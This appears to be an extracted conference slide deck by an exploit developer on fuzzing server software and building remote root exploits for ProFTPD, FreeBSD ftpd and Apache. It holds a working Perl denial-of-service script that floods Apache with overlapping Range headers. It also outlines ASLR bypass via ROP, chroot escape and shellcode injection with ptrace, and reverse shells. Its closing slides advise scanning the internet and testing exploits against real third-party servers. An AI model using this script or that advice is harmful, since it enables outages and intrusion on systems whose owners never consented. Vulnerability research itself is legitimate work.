

Uncovering Zero-Days and advanced fuzzing

How to successfully get the tools to unlock UNIX and Windows Servers

About the presentation

• Whoami

Introduction

Odays and the rush for public vulnerabilities
 And Advanced fuzzing techniques

Whoami

Administrator: C\windows\system32\cmd.exe

Copyright (c) 2009 Microsoft Corporation C:\Windows\system32>whoami nt authority\system C:\Windows\system

- My name is Nikolaos Rangos (nick: Kingcope)
- Live in Germany, have greek parents and family
- Hack and like to play with Software
- Develop exploits for software since ~2003
- Am a Penetration tester
- Currently do vulnerability research

Introduction

Server Side vs. Local and Client Vulnerabilities

- By using *Remote Exploits (Server Side)* you can attack servers silently without user intervention.
- Scanners can discover Servers that run the specific software and version to exploit
- Local vulnerabilities can be handy to escalate privileges if exploit does not yield desired privileges
- *Client Side Vulnerabilities* (for example Web-Browser Exploits) can be used to attack entities inside organizations and companies thus require user intervention.
- We will discuss especially remote software flaws, remote vulnerabilites
- Most parts of discussion can be applied to local and client vulnerabilities

Introduction

Discovering vulnerabilities is easy

- Programmers do mistakes and introduce flaws constantly Especially new features and versions contain flaws, see cvs diffing, updated software
- New Technologies bring new possibilities for the attacker
- Discovering flaws can be fun when you have the appropriate tools set up
- There is no secret Just needs passion, time, experience and good music :D

The environment – *Virtual Machines* and software

- For the testbeds you will definitely need VMs set up
 - Reason: Different Operating Systems / Targets
 Handy for adding offsets for each version later on
- Software you want to audit can be installed inside the VM
 - Upside: You can break the operating system without losing data
- Example setup: Windows 7 Host with several Guests, like:
 - Windows Server 2003/2008, Linux, FreeBSD, Solaris x86, etc.
 - (You can do kernel debugging by using pipes host->guest)
- Available virtual machines:
 - VMWare Workstation, Oracle VirtualBox, QEMU, and more
 - Personally Preferred VMWare Workstation over the years

To direct input to this VM, click inside or press Ctrl+G.

The environment – Virtual Machines and software

Illustration: VMWare running FreeBSD on Win7, many Operating Systems for testing

FreeBSD 7.4-RELEASE - VMware Workst	ation				– – X
File Edit View VM Tabs Help 				1	
Q Type here to search Image: My Computer Image: Windows 7 Image: OpenSUSE 11.4 Image: OpenSUSE 100 Image: OpenSUSE 100 <td< td=""><td>home × 1. Boot 2. Boot 3. Boot 4. Boot 5. Boot 6. Escap 7. Reboo Select o or [Spac</td><td>Welcome to Free FreeBSD [default FreeBSD with AC] FreeBSD in Safe FreeBSD in Sing FreeBSD with ver e to loader prot t</td><td>FreeBSD 7.4-RELEASE × BSD! t] PI disabled Mode le user mode rbose logging mpt for default er 8 _</td><td></td><td></td></td<>	home × 1. Boot 2. Boot 3. Boot 4. Boot 5. Boot 6. Escap 7. Reboo Select o or [Spac	Welcome to Free FreeBSD [default FreeBSD with AC] FreeBSD in Safe FreeBSD in Sing FreeBSD with ver e to loader prot t	FreeBSD 7.4-RELEASE × BSD! t] PI disabled Mode le user mode rbose logging mpt for default er 8 _		

🚐 💿 🗖 🖫 📢

The tools

- A kind of programming language, the one you like most:
 - Interpreted: Perl, Python.
 - Native: C/C++

Used to fuzz software, develop and write the exploit itself. Used to write own tools for observing processes. Some puzzles require native code: Local bugs, RPC exploits, Looks more leet to code in C :>

- UNIX tools:
 - strace (Linux), truss/ktrace/kdump (BSD, Solaris) for tracing syscalls
 - Itrace for tracing library calls
- Windows: ProcessMonitor
 - To reveal bugs by looking at file system access
- Debuggers:

gdb (UNIX), Windbg (Windows User/Kernel), Ollydbg (Windows Userland)

Tool example – *truss* on FreeBSD

Illustration:

Re-Discovering the FreeBSD FTPD Remote Root Exploit (library load) using truss

Commands issued: h4x# ps aux | grep inetd root 1138 0.0 0.5 3272 1176 ?? Is 2:05PM 0:00.01 inetd h4x# truss -ae -f -oout -p 1138

1275:	issetugid(0x281d20e7,0xbfbfd927,0x400,0xbfbfdd34,0x0,0x0) = 0 (0x0)
1275:	break($0x8100000$) = 0 ($0x0$)
1275:	sysctl(0xbfbfdbc4,0x2,0xbfbfdbcc,0xbfbfdbd0,0x0,0x0) = 0 (0x0)
1275:	mmap(0x0,1048576,PROT_READ PROT_WRITE,MAP_PRIVATE MAP_ANON,-1,0x0) = 673148928 (0x281f7000)
1275:	mmap(0x282f7000,36864, PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANON, -1, 0x0) = 674197504 (0x282f7000)
1275:	munmap($0x281f7000,36864$) = 0 ($0x0$)
1275:	sysctl(0xbfbfdd9c,0x2,0x28201100,0xbfbfddb4,0x0,0x0) = 0 (0x0)
1275:	<pre>stat("/etc/nsswitch.conf", { mode=-rw-rr- ,inode=70707,size=323,b1ks1ze=16384 }) = 0 (0x0)</pre>
1275:	open("/etc/nsswitch.conf",O_RDONLY,0666) = 4 (0x4)
1275:	ioctl(4,TIOCGETA,0xbfbfd898) ERR#25 'Inappropriate ioctl for device'
1275:	fstat(4,{ mode=-rw-rr,inode=70707,size=323,blksize=16384 }) = 0 (0x0)
1275:	read(4,"#\n# nsswitch.conf(5) - name ser",16384) = 323 (0x143)
1275:	read(4,0x2821d000,16384) = 0 (0x0)
1275:	sigprocmask(SIG_BLOCK,SIGHUP SIGINT SIGQUIT SIGKILL SIGPIPE SIGALRM SIGTERM SIGURG SIGSTOP SIGTS
SIGP	ROF SIGWINCH SIGINFO SIGUSR1 SIGUSR2,0x0) = 0 (0x0)
1275:	access("/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	access("/usr/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	access("/usr/lib/compat/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	access("/usr/local/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	access("/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	access("/usr/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275:	$sigprocmask(SIG_SETMASK, 0x0, 0x0) = 0 (0x0)$

Reading source code and testing parallely

- Good knowledge of the programming language required
- Personally prefer reading C code, most of the UNIX world is built up on C
- Some bugs can be discovered/exploited without any code reading Example: Apache Range-Bytes Denial of Service
- Other bugs need to be researched in source code to be exploited properly Example: ProFTPD TELNET_IAC Remote Exploit

```
1039
         while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) {
1040
           cp = *pbuf->current++;
1041
           pbuf->remaining++;
1042
1043
           if (handle iac == TRUE) {
1044
             switch (telnet mode) {
1045
               case TELNET IAC:
1046
                 switch (cp) {
1047
                 case TELNET WILL:
1048
                 case TELNET WONT:
1049
                 case TELNET DO:
1050
               case TELNET DONT:
1051
                 case TELNET IP:
1052
                  case TELNET DM:
```

Binary reversing and testing parallely

- Good knowledge of assembler required (x86, sparc, arm, etc)
- The Interactive Disassembler (IDA) is the best tool for this task
- Personally tend to look for vulnerable functions in critical code paths and test the suspicious locations using scripts
- Can be handy when developing exploits, Example: ProFTPD TELNET_IAC Remote Exploit, finding the plt entry offset of write(2) and specific assembler instructions.

```
.plt:0813CB28
.plt:0813CB28
.plt:0813CB28 ; Attributes: thunk
.plt:0813CB28
.plt:0813CB28 ; ssize t write(int fd, const void *buf, size t n)
.plt:0813CB28 write
                                        ; CODE XREF: vio write+281p
                      proc near
                                         ; my write+431p
.plt:0813CB28
.plt:0813CB28
                            ds:off 872B148
                      imp
.plt:0813CB28 write
                      endp
.plt:0813CB28
.plt:0813CB28 : -----
```

Semi-automatic fuzzing with perl/python

- "Semi-automatic" because fuzzing is done partly by the programming language like perl and partly with the knowledge of the programmer
- Especially effective for plain-text protocols
- Raw binary protocol fuzzing is possible this way, requires Wireshark dumps and mostly will cover only initial packets of the protocol
- Modules for the interpreted programming language can be used for fuzzing "high level" and will mostly cover the whole binary protocol

Fuzzing templates for plaintext and binary protocols

Very Basic template I used alot over the years (perl)

```
# Display response
while(<$sock>) {
    print;
```

```
}
```

- Above template is extended in the middle with fuzzing ideas for the protocol
- Can be extended in a way that several packets are sent, by repeating the template

Fuzzing templates for plaintext and binary protocols

- Previous shown template can be used for binary protocols by just replacing the payload with binary data
- The basic template is modified using your knowledge about the protocol and each modification (test case) is run against the remote service
- On the remote side the results are inspected using tracers like strace, truss to see what is happening or "to inspect Memory and CPU usage
- In case a bug was found, the vulnerability is researched and the exploit written by extending the basic template.
- The following example shows how the basic template was extended to a real exploit after verifying a vulnerability was found Case: Apache HTTPd Remote Denial of Service

```
while(<$sock>) {
print;
}
```

```
my $sock = 10::Socket::INET->new(PeerAddr => "isowarez.de",
PeerPort => "80",
Proto => 'tcp');
```

```
# Okay we fuzz for the range bytes, let's see if we can break apache httpd
$p = "GET / HTTP/11\r\nHost: $ARGV[0]\r\nRange:bytes=0-10000\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
```

```
while(<$sock>) {
print;
}
```

Can happen something by using this in the Range Header ? Let's see. \$p = ""; for (\$k=0;\$k<1300;\$k++) { \$p .= ",5-\$k"; }

```
my $sock = 10::Socket::INET->new(PeerAddr => "isowarez.de",
PeerPort => "80",
Proto => 'tcp');
```

```
# Okay we fuzz for the range bytes
$p = "GET / HTTP/11\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
```

```
while(<$sock>) {
print;
}
```

OOPS Webserver behaves unaccepted, shows a spike in memory usage, Might be a Bug... Let's request that thing 50 times parallely using Parallel::Forkmanager.

```
$pm = new Parallel::ForkManager($numforks);
```

```
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}
```

```
for ($k=0;$k<50;$k++) {
my $pid = $pm->start and next;
```

```
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
```

\$p = "HEAD / HTTP/11/r\nHost: \$ARGV[0]\r\nRange:bytes=0-\$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print \$sock \$p;

```
while(<$sock>) {
}
$pm->tinish;
}
$pm->wait_all_children;
print ":pPpPpppPpPpPppPpppppp",n";
}
```

Apache httpd does not respond anymore, console on Remote Side (inside VMWare) hangs. Let's decide if we want to inform the people...

Odays and the rush for public vulnerabilities / Fuzzing by modifying C source on the fly

Fuzzing by modifying C source on the fly

- Nearly every critical UNIX software is written in C
- Fuzzing by modifying sources is very effective

How it is done

- The target software (server side) is chosen and installed
- The client of the sofware is compiled
- After compilation the audit can begin
- The client sources are modified and after each modification each test case is compiled and run against the service

Fuzzing by modifying C sources on the fly

- If you want to find logic bugs you have to understand the part of software you are working on and change the code lines that are most interesting
- Finding buffer overflows this way can be done rather blindly
 - Look for critical code in the C source like network, command handling, parsers etc.
 - Change the buffer contents and buffer lengths one by one
 - Compile and test each buffer modification against the service

Odays and the rush for public vulnerabilities / Fuzzing by modifying C source on the fly

Fuzzing by modifying C sources on the fly

Example client code change in SAMBA, source3/client/client.c

```
Setup a new VUID, by issuing a session setup
static int cmd logon(void)
       TALLOC CTX *ctx = talloc tos();
       char *1 username, *1 password;
       NTSTATUS nt status;
       if (!next token talloc(ctx, &cmd ptr,&l username,NULL)) {
               d printf("logon <username> [<password>]\n");
               return 0;
       if (!next token talloc(ctx, &cmd ptr,&l password,NULL)) {
               char *pass = getpass("Password: ");
               if (pass) {
                       l password = talloc strdup(ctx,pass);
       if (!l password) {
               return 1;
       char buffer[8096];
       memset(buffer, 'A', sizeof(buffer));
       buffer[8095]=0;
       nt status = cli session setup(cli, buffer,
                                    buffer, strlen(buffer),
                                     buffer, strlen(buffer),
                                     lp workgroup());
       nt status = cli session setup(cli, 1 username,
                                     lp workgroup());
```

Building exploits

- Logic bugs are nice to have since exploits for logic bugs can be more stable, effective and easier to develop
- Buffer overruns and memory corruptions can be exploited depending on their nature and can be as stable as logic bugs, exploiting can be time consuming
- Goal: retrieve a remote shell/command line
 - Patch memory to hit a good place to
 - Control the Instruction Pointer (i386 processor: EIP)
 - Bypass protections (ASLR/ NX on amd64)
 - Execute the payload, retrieve the shell
 - Personally prefer reverse shells to evade firewall protections
 - Most work is done using a debugger like gdb
- Add more targets to the exploit
- Test the exploit in the wild, real world and adjust it

Bypassing ASLR (Address Space Layout Randomization) on Linux (ProFTPD Remote Root Exploit case)

- Assume we have redirected the Instruction Pointer to our desired value (for example through Stack Smashing, overwritten Function Pointer)
- The address space is randomized, so where we jump to ?
- Stack addresses, addresses of libraries, heaps of libraries are all randomized
- The image (TEXT segment) of the process is NOT randomized
- Duhh!
- We can jump to the TEXT segment, its base has a fixed address

root@debian:~# cat /etc/issue Debian GNU/Linux 6.0 \n \1 root@debian:~# uname -a Linux debian 2.6.32-5-686 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686 GNU/Linux root@debian:~# cat /proc/1451/maps | head 08048000-080d7000 r-xp 00000000 08:01 367591 /usr/sbin/proftpd 080d7000-080df000 rw-p 0008e000 08:01 367591 /usr/sbin/proftpd 080df000-080e9000 rw-p 00000000 00:00 0 09297000-092fa000 rw-p 00000000 00:00 0 [heap] b7271000-b7279000 r-xp 00000000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b7279000-b727a000 r--p 00008000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b727a000-b727b000 rw-p 00009000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b727b000-b7281000 r-xp 00000000 08:01 115143 /lib/i686/cmov/libnss compat-2.11.3.so b7281000-b7282000 r--p 00006000 08:01 115143 /lib/i686/cmov/libnss compat-2.11.3.so /lib/i686/cmov/libnss compat-2.11.3.so b7282000-b7283000 rw-p 00007000 08:01 115143 root@debian:~# pkill -9 proftpd root@debian:~# proftpd root@debian:~# ps aux |grep proftpd proftpd 1525 0.0 0.3 0:00 proftpd: (accepting connections) 7768 1652 ? 15:42 Ss root 1527 0.0 0.1 3320 15:42 0:00 grep proftpd 796 pts/0 S+ root@debian:~# cat /proc/1525/maps | head 08048000-080d7000 r-xp 00000000 08:01 367591 /usr/sbin/proftpd 080d7000-080df000 rw-p 0008e000 08:01 367591 /usr/sbin/proftpd 080df000-080e9000 rw-p 00000000 00:00 0 08385000-083e8000 rw-p 00000000 00:00 0 [heap] b70e7000-b70ef000 r-xp 00000000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b70ef000-b70f0000 r--p 00008000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b70f0000-b70f1000 rw-p 00009000 08:01 115121 /lib/i686/cmov/libnss nis-2.11.3.so b70f1000-b70f7000 r-xp 00000000 08:01 115143 /lib/i686/cmov/libnss compat-2.11.3.so b70f7000-b70f8000 r--p 00006000 08:01 115143 /lib/i686/cmov/libnss compat-2.11.3.so b70f8000-b70f9000 rw-p 00007000 08:01 115143 /lib/i686/cmov/libnss compat-2.11.3.so root@debian:~#

Bypassing ASLR (Adress Space Layout Randomization) on Linux x86

- Goal: get the shellcode executed
 - Find mmap/mmap64 plt entry using IDA
 From the plt entry we can indirectly jump to the randomized library function
 - Find memcpy plt entry using IDA
 - Use mmap to map a fixed free memory region (read, write, execute permissions enabled)
 - Use memcpy to copy bytes from the TEXT segment to this memory region, purpose of the bytes: copy the shellcode to the new memory region
 - Jump to the memory copy routine
 - Execute the payload that retrieves the reverse shell
 - mmap and memcpy are called using ROP (return oriented programming)

Bypassing Address Space Layout Randomization on Linux x86



Exploiting logic flaws

(FreeBSD ftpd Remote Root Exploit case)

- Exploiting logic flaws strongly depends on the nature of the bug
- FreeBSD ftpd example scenario
 - We can load a library if the logged in user is inside a chroot and we can write files to the disk
- How to exploit it
 - We need a way to break the chroot and execute code
 - Program a dynamic library that
 - Breaks the chroot by using ptrace system call
 - Attach to an existing FreeBSD process that runs as root using ptrace
 - Copy the shellcode into the root owned process by using ptrace
 - Let the root owned process continue at the shellcode position
 - NX (Non-Executable mappings) on amd64 can be bypassed easily On FreeBSD there is a rwx (read write execute) memory region We write our shellcode into this region

Exploiting logic flaws (FreeBSD ftpd Remote Root Exploit case)



Adding targets to the exploit

- Reason: Simply important to support wider range of targets
- Targets can be split up in two parts
 - Supported Operating System
 - Supported software version on Operating System platform
- Environment needs to be set up As many as possible vulnerable installations (using Virtual Machines)
- Offsets and possibly other values need to be examined

Adding targets to the exploit

- Add code to exploit for target integration and target selection
- Example: ProFTPD Remote Root Exploit
 - Exploit was designed to make it easy to add targets
 - Needed values
 - write(2) offset (plt entry) is found by using IDA
 - Align and Padding are found by running a perl script and observing the behaviour of the ProFTPD service
- Example: FreeBSD ftpd Remote Root Exploit
 - Only task: compile the dynamic libraries on each OS version
- Example: FreeBSD sendfile local root exploit
 - To support x86 and amd64 two shellcodes are needed
 - The exploit has to be adjusted for each version (buffer sizes)

Odays and the rush for public vulnerabilities / Testing shaping & adjusting the exploit in the wild **Last slide**

Testing shaping & adjusting the exploit in the wild

- Exploits can run perfect in the testing environment
- In real world they might not succeed in gaining a shell (not always the case)
- So the exploit needs to be made stable by testing it in real networks
- How to accomplish that
 - Search engines can be nice in finding running servers in the wild to test the exploit against
 - Scanners can be developed to seek the internet for vulnerable servers
- Once vulnerable servers are discovered, test the exploit against them
- Mimic the discovered vulnerable OS and software version
- Adjust the exploit by addressing the failures in the exploit code

Odays and the rush for public vulnerabilities / Porting Metasploit modules to standalone exploits Last slide ⁽²⁾

Thanks to everybody who supported me over times

You know who you are <3



Uncovering Zero-Days and advanced fuzzing

How to successfully get the tools to unlock UNIX and Windows Servers